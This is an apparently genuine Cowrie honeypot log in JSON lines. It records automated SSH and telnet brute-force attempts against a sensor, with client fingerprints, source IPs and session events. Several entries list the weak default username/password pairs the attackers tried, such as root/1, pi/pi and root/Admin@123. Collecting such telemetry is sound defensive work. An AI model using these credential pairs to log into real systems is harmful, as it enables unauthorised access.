{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:45.048384Z","src_ip":"192.109.200.78","session":"79c79c78be7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:45.071694Z","src_ip":"176.65.139.95","session":"1a1005fe11ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:45.285729Z","src_ip":"159.203.92.129","session":"3ec0e87d91f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:45.419014Z","src_ip":"176.65.139.95","session":"1a1005fe11ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:46.133449Z","src_ip":"192.109.200.78","session":"79c79c78be7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:46.504421Z","src_ip":"176.65.139.95","session":"1a1005fe11ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58708,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb7a00a285b","protocol":"ssh","message":"New connection: 192.109.200.78:58708 (159.203.135.109:22) [session: 2fb7a00a285b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:48.670682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:48.675792Z","src_ip":"192.109.200.78","session":"2fb7a00a285b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:48.767691Z","src_ip":"192.109.200.78","session":"2fb7a00a285b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:49.017369Z","src_ip":"192.109.200.78","session":"2fb7a00a285b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:50.104348Z","src_ip":"192.109.200.78","session":"2fb7a00a285b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45870,"dst_ip":"159.203.135.109","dst_port":22,"session":"3086e552faaf","protocol":"ssh","message":"New connection: 176.65.139.95:45870 (159.203.135.109:22) [session: 3086e552faaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:51.497328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:51.510272Z","src_ip":"176.65.139.95","session":"3086e552faaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:51.580608Z","src_ip":"176.65.139.95","session":"3086e552faaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:51.991920Z","src_ip":"176.65.139.95","session":"3086e552faaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58716,"dst_ip":"159.203.135.109","dst_port":22,"session":"43229f790990","protocol":"ssh","message":"New connection: 192.109.200.78:58716 (159.203.135.109:22) [session: 43229f790990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:52.934296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:52.938716Z","src_ip":"192.109.200.78","session":"43229f790990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:53.020998Z","src_ip":"192.109.200.78","session":"43229f790990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:53.079960Z","src_ip":"176.65.139.95","session":"3086e552faaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:53.271042Z","src_ip":"192.109.200.78","session":"43229f790990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:54.356431Z","src_ip":"192.109.200.78","session":"43229f790990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00103616714478,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:54.419298Z","src_ip":"152.59.179.89","session":"f91781fcfe84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":51564,"dst_ip":"10.17.0.5","dst_port":23,"session":"484f0fc02dc1","protocol":"telnet","message":"New connection: 152.59.179.89:51564 (10.17.0.5:23) [session: 484f0fc02dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:54.958433Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58732,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb5a79970ca4","protocol":"ssh","message":"New connection: 192.109.200.78:58732 (159.203.135.109:22) [session: bb5a79970ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:56.892957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:56.898625Z","src_ip":"192.109.200.78","session":"bb5a79970ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:56.981573Z","src_ip":"192.109.200.78","session":"bb5a79970ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:57.519400Z","src_ip":"192.109.200.78","session":"bb5a79970ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45874,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8f1a03ec009","protocol":"ssh","message":"New connection: 176.65.139.95:45874 (159.203.135.109:22) [session: e8f1a03ec009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:58.270216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:58.301519Z","src_ip":"176.65.139.95","session":"e8f1a03ec009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:58.474844Z","src_ip":"176.65.139.95","session":"e8f1a03ec009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:58.606731Z","src_ip":"192.109.200.78","session":"bb5a79970ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:58.997013Z","src_ip":"176.65.139.95","session":"e8f1a03ec009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:00.108531Z","src_ip":"176.65.139.95","session":"e8f1a03ec009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43152,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdfb5bb87391","protocol":"ssh","message":"New connection: 192.109.200.78:43152 (159.203.135.109:22) [session: cdfb5bb87391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:01.177902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:01.183011Z","src_ip":"192.109.200.78","session":"cdfb5bb87391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:01.265715Z","src_ip":"192.109.200.78","session":"cdfb5bb87391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:01.513679Z","src_ip":"192.109.200.78","session":"cdfb5bb87391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:02.600791Z","src_ip":"192.109.200.78","session":"cdfb5bb87391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51030,"dst_ip":"159.203.135.109","dst_port":22,"session":"086166aec267","protocol":"ssh","message":"New connection: 176.65.139.95:51030 (159.203.135.109:22) [session: 086166aec267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:04.818868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:04.825485Z","src_ip":"176.65.139.95","session":"086166aec267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:04.909756Z","src_ip":"176.65.139.95","session":"086166aec267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:05.210969Z","src_ip":"176.65.139.95","session":"086166aec267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43192,"dst_ip":"159.203.135.109","dst_port":22,"session":"df9fb5881aac","protocol":"ssh","message":"New connection: 192.109.200.78:43192 (159.203.135.109:22) [session: df9fb5881aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:05.219447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:05.225420Z","src_ip":"192.109.200.78","session":"df9fb5881aac","protocol":"ssh"}
